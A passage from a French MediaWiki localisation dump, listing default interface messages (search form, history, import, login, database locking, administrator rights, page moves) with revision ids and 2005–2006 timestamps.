MediaWiki default Consulter MediaWiki:Googlesearch 1456 sysop 46781 2006-07-01T18:48:49Z MediaWiki default <form method="get" action="http://www.google.fr/search" id="googlesearch"> <input type="hidden" name="domains" value="{{SERVER}}" /> <input type="hidden" name="num" value="50" /> <input type="hidden" name="ie" value="$2" /> <input type="hidden" name="oe" value="$2" /> <input type="text" name="q" size="31" maxlength="255" value="$1" /> <input type="submit" name="btnG" value="$3" /> <div> <input type="radio" name="sitesearch" id="gwiki" value="{{SERVER}}" checked="checked" /><label for="gwiki">{{SITENAME}}</label> <input type="radio" name="sitesearch" id="gWWW" value="" /><label for="gWWW">WWW</label> </div> </form> MediaWiki:Guesstimezone 1457 sysop 13094 2005-06-25T11:04:03Z MediaWiki default Utiliser la valeur du navigateur MediaWiki:Headline sample 1458 sysop 13095 2005-06-25T11:04:03Z MediaWiki default Texte de sous-titre MediaWiki:Headline tip 1459 sysop 13096 2005-06-25T11:04:03Z MediaWiki default Sous-titre niveau 2 MediaWiki:Help 1460 sysop 13097 2005-06-25T11:04:03Z MediaWiki default Aide MediaWiki:Helppage 1461 sysop 19503 2005-08-19T23:11:35Z MediaWiki default {{ns:help}}:Aide MediaWiki:Hide 1462 sysop 46798 2006-07-01T18:48:49Z MediaWiki default Masquer MediaWiki:Hidetoc 1463 sysop 17920 2005-07-29T10:37:01Z MediaWiki default masquer MediaWiki:Hist 1464 sysop 13101 2005-06-25T11:04:03Z MediaWiki default hist MediaWiki:Histlegend 1465 sysop 46800 2006-07-01T18:48:49Z MediaWiki default Légende : (actu) = différence avec la version actuelle , (dern) = différence avec la version précédente, M = modification mineure MediaWiki:History 1466 sysop 13103 2005-06-25T11:04:03Z MediaWiki default Historique de la page MediaWiki:History copyright 1467 sysop 13104 2005-06-25T11:04:03Z MediaWiki default - MediaWiki:History short 1468 sysop 13105 2005-06-25T11:04:03Z MediaWiki default Historique MediaWiki:Historywarning 1469 sysop 28015 2006-01-01T12:40:36Z MediaWiki default Attention : La page que vous êtes sur le point de supprimer a un historique : MediaWiki:Hr tip 1470 sysop 19507 2005-08-19T23:11:35Z MediaWiki default Lien horizontal (ne pas en abuser) MediaWiki:Ignorewarning 1471 sysop 46805 2006-07-01T18:48:49Z MediaWiki default Ignorer l'avertissement et sauvegarder le fichier. MediaWiki:Illegalfilename 1472 sysop 19508 2005-08-19T23:11:35Z MediaWiki default Le nom de fichier « $1 » contient des caractères interdits dans les titres de pages. Merci de le renommer et de le copier à nouveau. MediaWiki:Ilshowmatch 1473 sysop 13110 2005-06-25T11:04:03Z MediaWiki default Afficher toutes les images dont le nom contient MediaWiki:Ilsubmit 1474 sysop 13111 2005-06-25T11:04:03Z MediaWiki default Chercher MediaWiki:Image sample 1475 sysop 13112 2005-06-25T11:04:03Z MediaWiki default Exemple.jpg MediaWiki:Image tip 1476 sysop 13113 2005-06-25T11:04:03Z MediaWiki default Image insérée MediaWiki:Imagelinks 1477 sysop 13114 2005-06-25T11:04:03Z MediaWiki default Liens vers l'image MediaWiki:Imagelist 1478 sysop 13115 2005-06-25T11:04:03Z MediaWiki default Liste des images MediaWiki:Imagelisttext 1479 sysop 13116 2005-06-25T11:04:03Z MediaWiki default Voici une liste de $1 images classées $2. MediaWiki:Imagemaxsize 1480 sysop 46808 2006-07-01T18:48:49Z MediaWiki default Limiter l'image sur la page de description de l'image à : MediaWiki:Imagepage 1481 sysop 13118 2005-06-25T11:04:03Z MediaWiki default Page image MediaWiki:Imagereverted 1482 sysop 13119 2005-06-25T11:04:03Z MediaWiki default La version précédente a été rétablie. MediaWiki:Imgdelete 1483 sysop 13120 2005-06-25T11:04:03Z MediaWiki default suppr MediaWiki:Imgdesc 1484 sysop 13121 2005-06-25T11:04:03Z MediaWiki default descr MediaWiki:Imghistlegend 1485 sysop 19509 2005-08-19T23:11:35Z MediaWiki default Légende : (actu) = ceci est l'image actuelle, (suppr) = supprimer cette ancienne version, (rétab) = rétablir cette ancienne version. <br /><i>Cliquez sur la date pour voir l'image copiée à cette date</i>. MediaWiki:Imghistory 1486 sysop 13123 2005-06-25T11:04:03Z MediaWiki default Historique de l'image MediaWiki:Imglegend 1487 sysop 19510 2005-08-19T23:11:35Z MediaWiki default Légende : (descr) = afficher/modifier la description de l'image. MediaWiki:Import 1488 sysop 13125 2005-06-25T11:04:03Z MediaWiki default Importer des pages MediaWiki:Importfailed 1489 sysop 19511 2005-08-19T23:11:35Z MediaWiki default Échec de l'import : $1 MediaWiki:Importhistoryconflict 1490 sysop 46820 2006-07-01T18:48:49Z MediaWiki default Il existe un conflit de versions d'historique (cette page a peut-être déjà été importée) MediaWiki:Importnotext 1491 sysop 13128 2005-06-25T11:04:03Z MediaWiki default Vide ou sans texte MediaWiki:Importsuccess 1492 sysop 19513 2005-08-19T23:11:35Z MediaWiki default L'import a réussi ! MediaWiki:Importtext 1493 sysop 46829 2006-07-01T18:48:49Z MediaWiki default Veuillez exporter le fichier depuis le wiki d'origine en utilisant l'outil Special:Export, le sauvegarder sur votre disque dur et le copier ici. MediaWiki:Info short 1494 sysop 13131 2005-06-25T11:04:03Z MediaWiki default Information MediaWiki:Infobox 1495 sysop 13132 2005-06-25T11:04:03Z MediaWiki default Cliquez ce bouton pour avoir un exemple de texte MediaWiki:Infobox alert 1496 sysop 13133 2005-06-25T11:04:03Z MediaWiki default Veuillez entrer le texte que vous voulez formater.\n Il sera affiché dans la boîte pour être copié et collé.\nExemple\n$1\ndeviendra:\n$2 MediaWiki:Infosubtitle 1497 sysop 46833 2006-07-01T18:48:49Z MediaWiki default Information pour la page MediaWiki:Internalerror 1498 sysop 13135 2005-06-25T11:04:03Z MediaWiki default Erreur interne MediaWiki:Intl 1499 sysop 13136 2005-06-25T11:04:03Z MediaWiki default Interlanguage links MediaWiki:Ip range invalid 1500 sysop 19515 2005-08-19T23:11:35Z MediaWiki default Bloc IP incorrect. MediaWiki:Ipaddress 1501 sysop 46835 2006-07-01T18:48:49Z MediaWiki default Adresse IP MediaWiki:Ipb expiry invalid 1502 sysop 13139 2005-06-25T11:04:03Z MediaWiki default temps d'expiration invalide. MediaWiki:Ipbexpiry 1503 sysop 15872 2005-07-03T11:17:08Z MediaWiki default Durée du blocage MediaWiki:Ipblocklist 1504 sysop 19517 2005-08-19T23:11:35Z MediaWiki default Liste des blocages MediaWiki:Ipbreason 1505 sysop 17923 2005-07-29T10:37:02Z MediaWiki default Motif du blocage MediaWiki:Ipbsubmit 1506 sysop 46841 2006-07-01T18:48:49Z MediaWiki default Bloquer cet utilisateur MediaWiki:Ipusubmit 1507 sysop 13144 2005-06-25T11:04:03Z MediaWiki default Débloquer cette adresse MediaWiki:Ipusuccess 1508 sysop 19519 2005-08-19T23:11:35Z MediaWiki default L'adresse IP « $1 » débloquée. MediaWiki:Isbn 1509 sysop 13146 2005-06-25T11:04:03Z MediaWiki default ISBN MediaWiki:Isredirect 1510 sysop 13147 2005-06-25T11:04:03Z MediaWiki default page de redirection MediaWiki:Italic sample 1511 sysop 13148 2005-06-25T11:04:03Z MediaWiki default Texte italique MediaWiki:Italic tip 1512 sysop 13149 2005-06-25T11:04:03Z MediaWiki default Texte italique MediaWiki:Iteminvalidname 1513 sysop 17925 2005-07-29T10:37:02Z MediaWiki default Problème avec l'article « $1 » : le nom est invalide... MediaWiki:Jan 1514 sysop 13151 2005-06-25T11:04:03Z MediaWiki default jan MediaWiki:January 1515 sysop 13152 2005-06-25T11:04:03Z MediaWiki default janvier MediaWiki:Jul 1516 sysop 13153 2005-06-25T11:04:03Z MediaWiki default jul MediaWiki:July 1517 sysop 13154 2005-06-25T11:04:03Z MediaWiki default juillet MediaWiki:Jun 1518 sysop 13155 2005-06-25T11:04:03Z MediaWiki default jun MediaWiki:June 1519 sysop 13156 2005-06-25T11:04:03Z MediaWiki default juin MediaWiki:Largefile 1520 sysop 34772 2006-02-26T01:46:24Z MediaWiki default La taille maximale conseillée pour les images est de $1 ko ($2). MediaWiki:Last 1521 sysop 13158 2005-06-25T11:04:03Z MediaWiki default dern MediaWiki:Lastmodified 1522 sysop 19521 2005-08-19T23:11:35Z MediaWiki default Dernière modification de cette page le $1. MediaWiki:Lastmodifiedby 1523 sysop 13160 2005-06-25T11:04:03Z MediaWiki default Cette page a été modifiée pour la dernière fois le $1 par $2 MediaWiki:Lineno 1524 sysop 13161 2005-06-25T11:04:03Z MediaWiki default Ligne $1: MediaWiki:Link sample 1525 sysop 13162 2005-06-25T11:04:03Z MediaWiki default Lien titre MediaWiki:Link tip 1526 sysop 13163 2005-06-25T11:04:03Z MediaWiki default Lien interne MediaWiki:Linklistsub 1527 sysop 13164 2005-06-25T11:04:03Z MediaWiki default (Liste de liens) MediaWiki:Linkshere 1528 sysop 19523 2005-08-19T23:11:35Z MediaWiki default Les pages ci-dessous contiennent un lien vers celle-ci : MediaWiki:Linkstoimage 1529 sysop 26183 2005-11-29T00:47:48Z MediaWiki default Les pages ci-dessous contiennent cette image : MediaWiki:Linktrail 1530 sysop 39026 2006-03-28T05:53:44Z MediaWiki default /^([a-zàâçéèêîôûäëïöüùÇÉÂÊÎÔÛÄËÏÖÜÀÈÙ]+)(.*)$/sDu MediaWiki:Listform 1531 sysop 13168 2005-06-25T11:04:03Z MediaWiki default liste MediaWiki:Listingcontinuesabbrev 1532 sysop 13169 2005-06-25T11:04:03Z MediaWiki default cont. MediaWiki:Listusers 1533 sysop 13170 2005-06-25T11:04:03Z MediaWiki default Liste des participants MediaWiki:Loadhist 1534 sysop 13171 2005-06-25T11:04:03Z MediaWiki default Chargement de l'historique de la page MediaWiki:Loadingrev 1535 sysop 13172 2005-06-25T11:04:03Z MediaWiki default chargement de l'ancienne version pour comparaison MediaWiki:Localtime 1536 sysop 13173 2005-06-25T11:04:03Z MediaWiki default Heure locale MediaWiki:Lockbtn 1537 sysop 13174 2005-06-25T11:04:03Z MediaWiki default Verrouiller la base MediaWiki:Lockconfirm 1538 sysop 13175 2005-06-25T11:04:03Z MediaWiki default Oui, je confirme que je souhaite verrouiller la base de données. MediaWiki:Lockdb 1539 sysop 13176 2005-06-25T11:04:03Z MediaWiki default Verrouiller la base MediaWiki:Lockdbsuccesssub 1540 sysop 13177 2005-06-25T11:04:03Z MediaWiki default Verrouillage de la base réussi. MediaWiki:Lockdbsuccesstext 1541 sysop 19525 2005-08-19T23:11:35Z MediaWiki default La base de données de {{SITENAME}} est verrouillée. N'oubliez pas de la déverrouiller lorsque vous aurez terminé votre opération de maintenance. MediaWiki:Lockdbtext 1542 sysop 13179 2005-06-25T11:04:03Z MediaWiki default Le verrouillage de la base de données empêchera tous les utilisateurs de modifier des pages, de sauvegarder leurs préférences, de modifier leur liste de suivi et d'effectuer toutes les autres opérations nécessitant des modifications dans la base de données. Veuillez confirmer que c'est bien là ce que vous voulez faire et que vous débloquerez la base dès que votre opération de maintenance sera terminée. MediaWiki:Locknoconfirm 1543 sysop 13180 2005-06-25T11:04:03Z MediaWiki default Vous n'avez pas coché la case de confirmation. MediaWiki:Log 1544 sysop 46846 2006-07-01T18:48:49Z MediaWiki default Journaux MediaWiki:Login 1545 sysop 13182 2005-06-25T11:04:03Z MediaWiki default Identification MediaWiki:Loginend 1546 sysop 13183 2005-06-25T11:04:03Z MediaWiki default &nbsp; MediaWiki:Loginerror 1547 sysop 13184 2005-06-25T11:04:03Z MediaWiki default Problème d'identification MediaWiki:Loginpagetitle 1548 sysop 13185 2005-06-25T11:04:03Z MediaWiki default Votre identifiant MediaWiki:Loginproblem 1549 sysop 13186 2005-06-25T11:04:03Z MediaWiki default <b>Problème d'identification.</b><br />Essayez à nouveau ! MediaWiki:Loginprompt 1550 sysop 13187 2005-06-25T11:04:03Z MediaWiki default Vous devez activer les cookies pour vous connecter à {{SITENAME}}. MediaWiki:Loginreqtext 1551 sysop 13188 2005-06-25T11:04:03Z MediaWiki default Vous devez vous [[Special:Userlogin|connecter]] pour voir les autres pages. MediaWiki:Loginreqtitle 1552 sysop 46850 2006-07-01T18:48:49Z MediaWiki default Identification nécessaire MediaWiki:Loginsuccesstitle 1553 sysop 13190 2005-06-25T11:04:03Z MediaWiki default Identification réussie. MediaWiki:Logout 1554 sysop 13191 2005-06-25T11:04:03Z MediaWiki default Déconnexion MediaWiki:Logouttext 1555 sysop 19526 2005-08-19T23:11:35Z MediaWiki default Vous êtes à présent déconnecté(e). Vous pouvez continuer à utiliser {{SITENAME}} de façon anonyme, ou vous reconnecter, éventuellement sous un autre nom. MediaWiki:Logouttitle 1556 sysop 13193 2005-06-25T11:04:03Z MediaWiki default Déconnexion MediaWiki:Lonelypages 1557 sysop 13194 2005-06-25T11:04:03Z MediaWiki default Pages orphelines MediaWiki:Longpages 1558 sysop 46852 2006-07-01T18:48:49Z MediaWiki default Pages longues MediaWiki:Longpagewarning 1559 sysop 46853 2006-07-01T18:48:49Z MediaWiki default '''AVERTISSEMENT : cette page a une longueur de $1 ko; quelques navigateurs gèrent mal les pages approchant ou dépassant 32 ko lors de leur rédaction. Peut-être devriez-vous diviser la page en sections plus petites.''' MediaWiki:Mailerror 1560 sysop 17926 2005-07-29T10:37:02Z MediaWiki default Erreur en envoyant le courriel : $1 MediaWiki:Mailmypassword 1561 sysop 13198 2005-06-25T11:04:03Z MediaWiki default Envoyez-moi un nouveau mot de passe MediaWiki:Mailnologin 1562 sysop 13199 2005-06-25T11:04:03Z MediaWiki default Pas d'adresse MediaWiki:Mailnologintext 1563 sysop 46854 2006-07-01T18:48:49Z MediaWiki default Vous devez être [[Special:Userlogin|connecté]] et avoir indiqué une adresse électronique valide dans vos [[Special:Preferences|préférences]] pour avoir la permission d'envoyer un message à un autre utilisateur. MediaWiki:Mainpage 1564 sysop 13201 2005-06-25T11:04:03Z MediaWiki default Accueil MediaWiki:Mainpagedocfooter 1565 sysop 46855 2006-07-01T18:48:49Z MediaWiki default Consultez le [http://meta.wikipedia.org/wiki/Aide:Contenu Guide de l'utilisateur] pour plus d'informations sur l'utilisation de ce logiciel. MediaWiki:Mainpagetext 1566 sysop 46856 2006-07-01T18:48:49Z MediaWiki default <big>'''MediaWiki a été installé avec succès.'''</big> MediaWiki:Maintenance 1567 sysop 13204 2005-06-25T11:04:03Z MediaWiki default Page de maintenance MediaWiki:Maintenancebacklink 1568 sysop 13205 2005-06-25T11:04:03Z MediaWiki default Retour à la page de maintenance MediaWiki:Maintnancepagetext 1569 sysop 13206 2005-06-25T11:04:03Z MediaWiki default Cette page inclut plusieurs utilitaires pour la maintenance quotidienne. Certains de ces outils ont tendance à charger la base de données; ne rechargez pas la page a chaque modification. MediaWiki:Makesysop 1570 sysop 26184 2005-11-29T00:47:48Z MediaWiki default Donner les droits d'administrateur à un utilisateur MediaWiki:Makesysopfail 1571 sysop 26185 2005-11-29T00:47:48Z MediaWiki default <b>L'utilisateur « $1 » ne peut être converti en adminitrateur. (Avez vous entré le nom correctement?)</b> MediaWiki:Makesysopname 1572 sysop 13209 2005-06-25T11:04:03Z MediaWiki default Nom de l'utilisateur: MediaWiki:Makesysopok 1573 sysop 19529 2005-08-19T23:11:35Z MediaWiki default <b>L'utilisateur « $1 » est désormais administrateur.</b> MediaWiki:Makesysopsubmit 1574 sysop 26186 2005-11-29T00:47:48Z MediaWiki default Donner les droits d'administrateur à cet utilisateur MediaWiki:Makesysoptext 1575 sysop 17927 2005-07-29T10:37:02Z MediaWiki default Ce formulaire est utilisé par les bureaucrates pour donner les droits d'administrateur. Tapez le nom de l'utilisateur dans la boite et pressez le bouton pour lui donner les droits. MediaWiki:Makesysoptitle 1576 sysop 26187 2005-11-29T00:47:48Z MediaWiki default Donne les droits d'administrateur. MediaWiki:Mar 1577 sysop 13214 2005-06-25T11:04:03Z MediaWiki default mar MediaWiki:March 1578 sysop 13215 2005-06-25T11:04:03Z MediaWiki default mars MediaWiki:Markaspatrolleddiff 1579 sysop 15879 2005-07-03T11:17:09Z MediaWiki default Marquer comme vérifiée MediaWiki:Markaspatrolledlink 1580 sysop 15880 2005-07-03T11:17:09Z MediaWiki default [$1] MediaWiki:Markaspatrolledtext 1581 sysop 15881 2005-07-03T11:17:09Z MediaWiki default Marquer cet article comme vérifié MediaWiki:Markedaspatrolled 1582 sysop 15882 2005-07-03T11:17:09Z MediaWiki default Marqué comme vérifié MediaWiki:Markedaspatrolledtext 1583 sysop 15883 2005-07-03T11:17:09Z MediaWiki default La version sélectionnée a été marquée comme vérifiée. MediaWiki:Matchtotals 1584 sysop 19530 2005-08-19T23:11:35Z MediaWiki default La requête « $1 » correspond à $2 titre(s) d'article et au texte de $3 article(s). MediaWiki:Math 1585 sysop 13222 2005-06-25T11:04:03Z MediaWiki default Rendu des maths MediaWiki:Math bad output 1586 sysop 13223 2005-06-25T11:04:03Z MediaWiki default Ne peux pas crééer ou écrire dans le répertoire de sortie MediaWiki:Math bad tmpdir 1587 sysop 13224 2005-06-25T11:04:03Z MediaWiki default Ne peux pas crééer ou écrire dans le répertoire temporaire MediaWiki:Math failure 1588 sysop 13225 2005-06-25T11:04:03Z MediaWiki default Erreur math MediaWiki:Math image error 1589 sysop 13226 2005-06-25T11:04:03Z MediaWiki default La conversion en PNG a échouée, vérifiez l'installation de Latex, dvips, gs et convert MediaWiki:Math lexing error 1590 sysop 13227 2005-06-25T11:04:03Z MediaWiki default erreur lexicale MediaWiki:Math notexvc 1591 sysop 46859 2006-07-01T18:48:49Z MediaWiki default L'exécutable « texvc » est introuvable. Lisez math/README pour le configurer. MediaWiki:Math sample 1592 sysop 13229 2005-06-25T11:04:03Z MediaWiki default Entrez votre formule ici MediaWiki:Math syntax error 1593 sysop 13230 2005-06-25T11:04:03Z MediaWiki default erreur de syntaxe MediaWiki:Math tip 1594 sysop 13231 2005-06-25T11:04:03Z MediaWiki default Formule mathématique (LaTeX) MediaWiki:Math unknown error 1595 sysop 13232 2005-06-25T11:04:03Z MediaWiki default erreur indéterminée MediaWiki:Math unknown function 1596 sysop 13233 2005-06-25T11:04:03Z MediaWiki default fonction inconnue MediaWiki:May 1597 sysop 13234 2005-06-25T11:04:03Z MediaWiki default mai MediaWiki:May long 1598 sysop 13235 2005-06-25T11:04:03Z MediaWiki default mai MediaWiki:Media sample 1599 sysop 13236 2005-06-25T11:04:03Z MediaWiki default Exemple.ogg MediaWiki:Media tip 1600 sysop 13237 2005-06-25T11:04:03Z MediaWiki default Lien fichier média MediaWiki:Minlength 1601 sysop 13238 2005-06-25T11:04:03Z MediaWiki default Les noms des images doivent comporter au moins trois lettres. MediaWiki:Minoredit 1602 sysop 13239 2005-06-25T11:04:03Z MediaWiki default Modification mineure. MediaWiki:Minoreditletter 1603 sysop 46869 2006-07-01T18:48:49Z MediaWiki default m MediaWiki:Mispeelings 1604 sysop 13241 2005-06-25T11:04:03Z MediaWiki default Pages avec fautes d'orthographe MediaWiki:Mispeelingspage 1605 sysop 13242 2005-06-25T11:04:03Z MediaWiki default Liste de fautes d'orthographe courantes MediaWiki:Mispeelingstext 1606 sysop 13243 2005-06-25T11:04:03Z MediaWiki default Les pages suivantes contiennent une faute d'orthographe courante (la liste de celles-ci est sur $1). L'orthographe correcte est peut-être (ceci). MediaWiki:Missingarticle 1607 sysop 19532 2005-08-19T23:11:35Z MediaWiki default La base de données n'a pas pu trouver le texte d'une page existante, dont le titre est « $1 ». Ce n'est pas une erreur de la base de données, mais plus probablement un bogue du wiki. Veuillez rapporter cette erreur à un administrateur, en lui indiquant l'adresse de la page fautive. MediaWiki:Missingimage 1608 sysop 19533 2005-08-19T23:11:35Z MediaWiki default <b>Image manquante</b><br /><i>$1</i> MediaWiki:Missinglanguagelinks 1609 sysop 13246 2005-06-25T11:04:03Z MediaWiki default Liens inter-langues manquants MediaWiki:Missinglanguagelinksbutton 1610 sysop 13247 2005-06-25T11:04:03Z MediaWiki default Je n'ai pas trouvé de lien/langue pour cette page MediaWiki:Missinglanguagelinkstext 1611 sysop 19534 2005-08-19T23:11:35Z MediaWiki default Ces articles ne lient pas à leur contrepartie sur $1. Les redirections et les liens ne sont pas affichés. MediaWiki:Monday 1612 sysop 13249 2005-06-25T11:04:03Z MediaWiki default lundi MediaWiki:Moredotdotdot 1613 sysop 13250 2005-06-25T11:04:03Z MediaWiki default Et plus... MediaWiki:Move 1614 sysop 26193 2005-11-29T00:47:49Z MediaWiki default Renommer MediaWiki:Movearticle 1615 sysop 26194 2005-11-29T00:47:49Z MediaWiki default Renommer l'article MediaWiki:Movedto 1616 sysop 17930 2005-07-29T10:37:03Z MediaWiki default renommé en MediaWiki:Movenologin 1617 sysop 13254 2005-06-25T11:04:03Z MediaWiki default Non connecté MediaWiki:Movenologintext 1618 sysop 46879 2006-07-01T18:48:49Z MediaWiki default Pour avoir la permission de renommer un article, vous devez être [[Special:Userlogin|connecté]] en tant qu'utilisateur enregistré. MediaWiki:Movepage 1619 sysop 46880 2006-07-01T18:48:49Z MediaWiki default Renommer une page MediaWiki:Movepagebtn 1620 sysop 17933 2005-07-29T10:37:03Z MediaWiki default Renommer l'article MediaWiki:Movepagetalktext 1621 sysop 17934 2005-07-29T10:37:03Z MediaWiki default La page de discussion associée, si présente, sera automatiquement renommée avec '''sauf si:''' *Vous renommez une page vers un autre espace, *Une page de discussion existe déjà avec le nouveau nom, ou *Vous avez désélectionné le bouton ci-dessous. Dans ce cas, vous devrez renommer ou fusionner la page manuellement si vous le désirez. MediaWiki:Movepagetext 1622 sysop 46881 2006-07-01T18:48:49Z MediaWiki default Utilisez le formulaire ci-dessous pour renommer une page, en déplaçant tout son historique vers le nouveau nom. L'ancien titre deviendra une page de redirection vers le nouveau titre. Les liens vers le titre de l'ancienne page ne seront pas changés ; veuillez vérifier si cet déplacement n'a pas créé de double redirect. Vous devez vous assurez que les liens continuent de pointer vers leur destination supposée. Une page ne sera pas déplacée si il y a déjà une page au nouveau titre, à moins que la page soit vide, ou une redirection, et qu'elle n'ait pas d'historique. Ce qui veut dire que vous pouvez renommer une page vers sa position d'origine si vous avez commis une erreur, et que vous ne pouvez effacer une page déjà existante par ce procédé. MediaWiki:Movetalk 1623 sysop 19537 2005-08-19T23:11:35Z MediaWiki default Renommer aussi la page « discussion », s'il y a lieu. MediaWiki:Movethispage 1624 sysop 17937 2005-07-29T10:37:03Z MediaWiki default Renommer la page MediaWiki:Mw math html 1625 sysop 13262 2005-06-25T11:04:03Z MediaWiki default HTML si possible, autrement PNG MediaWiki:Mw math mathml 1626 sysop 13263 2005-06-25T11:04:03Z MediaWiki default MathML MediaWiki:Mw math modern 1627 sysop 13264 2005-06-25T11:04:03Z MediaWiki default Pour les navigateurs modernes MediaWiki:Mw math png 1628 sysop 13265 2005-06-25T11:04:03Z MediaWiki default Toujours produire une image PNG MediaWiki:Mw math simple 1629 sysop 13266 2005-06-25T11:04:03Z MediaWiki default HTML si très simple, autrement PNG MediaWiki:Mw math source 1630 sysop 13267 2005-06-25T11:04:03Z MediaWiki default Laisser le code TeX original MediaWiki:Mycontris 1631 sysop 13268 2005-06-25T11:04:03Z MediaWiki default Mes contributions MediaWiki:Mypage 1632 sysop 13269 2005-06-25T11:04:03Z MediaWiki default Ma page MediaWiki:Mytalk 1633 sysop 13270 2005-06-25T11:04:03Z MediaWiki default Ma page de discussion MediaWiki:Navigation 1634 sysop 13271 2005-06-25T11:04:03Z MediaWiki default Navigation MediaWiki:Nbytes 1635 sysop 13272 2005-06-25T11:04:03Z MediaWiki default $1 octets MediaWiki:Nchanges 1636 sysop 13273 2005-06-25T11:04:03Z MediaWiki default $1 modification(s) MediaWiki:Newarticle 1637 sysop 13274 2005-06-25T11:04:03Z MediaWiki default (Nouveau) MediaWiki:Newarticletext 1638 sysop 46885 2006-07-01T18:48:50Z MediaWiki default Vous avez suivi un lien vers une page qui n'existe pas encore. Pour créer cette page, entrez votre texte dans la boîte ci-dessous (vous pouvez consulter [[Project:Aide|la page d\aide]] pour plus d'information). Si vous êtes arrivé ici par erreur, cliquez sur le bouton '''retour''' de votre navigateur. MediaWiki:Newbies 1639 sysop 46886 2006-07-01T18:48:50Z MediaWiki default Nouveaux contributeurs MediaWiki:Newimages 1640 sysop 46887 2006-07-01T18:48:50Z MediaWiki default Galerie des nouveaux fichiers MediaWiki:Newmessages 1641 sysop 26195 2005-11-29T00:47:49Z MediaWiki default Vous avez de $1. MediaWiki:Newmessageslink 1642 sysop 46888 2006-07-01T18:48:50Z MediaWiki default des nouveaux messages MediaWiki:Newpage 1643 sysop 13280 2005-06-25T11:04:03Z MediaWiki default Nouvelle page MediaWiki:Newpageletter 1644 sysop 13281 2005-06-25T11:04:03Z MediaWiki default N MediaWiki:Newpages 1645 sysop 13282 2005-06-25T11:04:03Z MediaWiki default Nouvelles pages MediaWiki:Newpassword 1646 sysop 26196 2005-11-29T00:47:49Z MediaWiki default Nouveau mot de passe MediaWiki:Newtitle 1647 sysop 13284 2005-06-25T11:04:03Z MediaWiki default Nouveau titre MediaWiki:Newusersonly 1648 sysop 13285 2005-06-25T11:04:03Z MediaWiki default (nouveaux utilisateurs uniquement) MediaWiki:Next 1649 sysop 13286 2005-06-25T11:04:03Z MediaWiki default suiv MediaWiki:Nextdiff 1650 sysop 19539 2005-08-19T23:11:36Z MediaWiki default Différence suivante → MediaWiki:Nextn 1651 sysop 13288 2005-06-25T11:04:03Z MediaWiki default $1 suivants MediaWiki:Nextpage 1652 sysop 46889 2006-07-01T18:48:50Z MediaWiki default Page suivante ($1) MediaWiki:Nextrevision 1653 sysop 19540 2005-08-19T23:11:36Z MediaWiki default Version suivante → MediaWiki:Nlinks 1654 sysop 13291 2005-06-25T11:04:03Z MediaWiki default $1 références MediaWiki:Noaffirmation 1655 sysop 13292 2005-06-25T11:04:03Z MediaWiki default Vous devez confirmer que la copie de ce fichier ne viole aucun copyright. MediaWiki:Noarticletext 1656 sysop 46891 2006-07-01T18:48:50Z MediaWiki default Il n'y a pour l'instant aucun texte sur cette page, vous pouvez [[{{ns:special}}:Search/{{PAGENAME}}|faire une recherche pour le titre de cette page]] ou [{{fullurl:{{NAMESPACE}}:{{PAGENAME}}|action=edit}} modifier cette page] MediaWiki:Noblockreason 1657 sysop 13294 2005-06-25T11:04:03Z MediaWiki default Vous devez indiquer le motif du blocage. MediaWiki:Noconnect 1658 sysop 13295 2005-06-25T11:04:03Z MediaWiki default Désolé! Suite à des problèmes techniques, il est impossible de se connecter à la base de données pour le moment. MediaWiki:Nocontribs 1659 sysop 13296 2005-06-25T11:04:03Z MediaWiki default Aucune modification correspondant à ces critères n'a été trouvée. MediaWiki:Nocookieslogin 1660 sysop 46892 2006-07-01T18:48:50Z MediaWiki default {{SITENAME}} utilise des cookies pour la connexion mais vous avez les cookies désactivés. Merci de les activer et de vous reconnecter. MediaWiki:Nocookiesnew 1661 sysop 13298 2005-06-25T11:04:03Z MediaWiki default Le compte utilisateur a été créé, mais vous n'êtes pas connecté. {{SITENAME}} utilise des cookies pour la connexion mais vous avez les cookies désactives. Merci de les activer et de vous reconnecter. MediaWiki:Nocreativecommons 1662 sysop 19541 2005-08-19T23:11:36Z MediaWiki default Les données méta « Creative Commons RDF » sont désactivées sur ce serveur. MediaWiki:Nocredits 1663 sysop 46895 2006-07-01T18:48:50Z MediaWiki default Il n'y a pas d'informations de crédits disponible pour cette page. MediaWiki:Nodb 1664 sysop 13301 2005-06-25T11:04:03Z MediaWiki default Sélection impossible de la base de données $1 MediaWiki:Nodublincore 1665 sysop 26197 2005-11-29T00:47:49Z MediaWiki default Les métadonnées « Dublin Core RDF » sont désactivées sur ce serveur. MediaWiki:Noemail 1666 sysop 19543 2005-08-19T23:11:36Z MediaWiki default Aucune adresse électronique n'a été enregistrée pour l'utilisateur « $1 ». MediaWiki:Noemailtext 1667 sysop 46897 2006-07-01T18:48:50Z MediaWiki default Cet utilisateur n'a pas spécifié d'adresse de courriel valide ou a choisi de ne pas recevoir de courriel des autres utilisateurs. MediaWiki:Noemailtitle 1668 sysop 13305 2005-06-25T11:04:03Z MediaWiki default Pas d'adresse électronique MediaWiki:Nogomatch 1669 sysop 26198 2005-11-29T00:47:49Z MediaWiki default Aucune page avec ce titre n'existe, essai avec la recherche complète. Voulez-vous [[$1|créer cet article]] ? MediaWiki:Nohistory 1670 sysop 13307 2005-06-25T11:04:03Z MediaWiki default Il n'existe pas d'historique pour cette page. MediaWiki:Noimages 1671 sysop 46901 2006-07-01T18:48:50Z MediaWiki default Rien à voir. MediaWiki:Nolinkshere 1672 sysop 13309 2005-06-25T11:04:03Z MediaWiki default Aucune page ne contient de lien vers celle-ci. MediaWiki:Nolinkstoimage 1673 sysop 26199 2005-11-29T00:47:49Z MediaWiki default Aucune page ne contient cette image. MediaWiki:Noname 1674 sysop 13311 2005-06-25T11:04:03Z MediaWiki default Vous n'avez pas saisi de nom d'utilisateur. MediaWiki:Nonefound 1675 sysop 19544 2005-08-19T23:11:36Z MediaWiki default <strong>Note</strong>: l'absence de résultat est souvent due à l'emploi de termes de recherche trop courants, comme « à » ou « de », qui ne sont pas indexés, ou à l'emploi de plusieurs termes de recherche (seules les pages contenant tous les termes apparaissent dans les résultats). MediaWiki:Nonunicodebrowser 1676 sysop 46905 2006-07-01T18:48:50Z MediaWiki default <strong>Attention : Votre navigateur ne supporte pas l'unicode. Une solution temporaire a été trouvée pour vous permettre d'éditer en tout sûreté un article : les caractères non-ASCII apparaîtront dans votre boîte de modification en tant que code hexadécimal.</strong> MediaWiki:Nospecialpagetext 1677 sysop 13314 2005-06-25T11:04:03Z MediaWiki default Vous avez demandé une page spéciale qui n'est pas reconnue par le wiki. MediaWiki:Nosuchaction 1678 sysop 13315 2005-06-25T11:04:03Z MediaWiki default Action inconnue MediaWiki:Nosuchactiontext 1679 sysop 13316 2005-06-25T11:04:03Z MediaWiki default L'action spécifiée dans l'Url n'est pas reconnue par 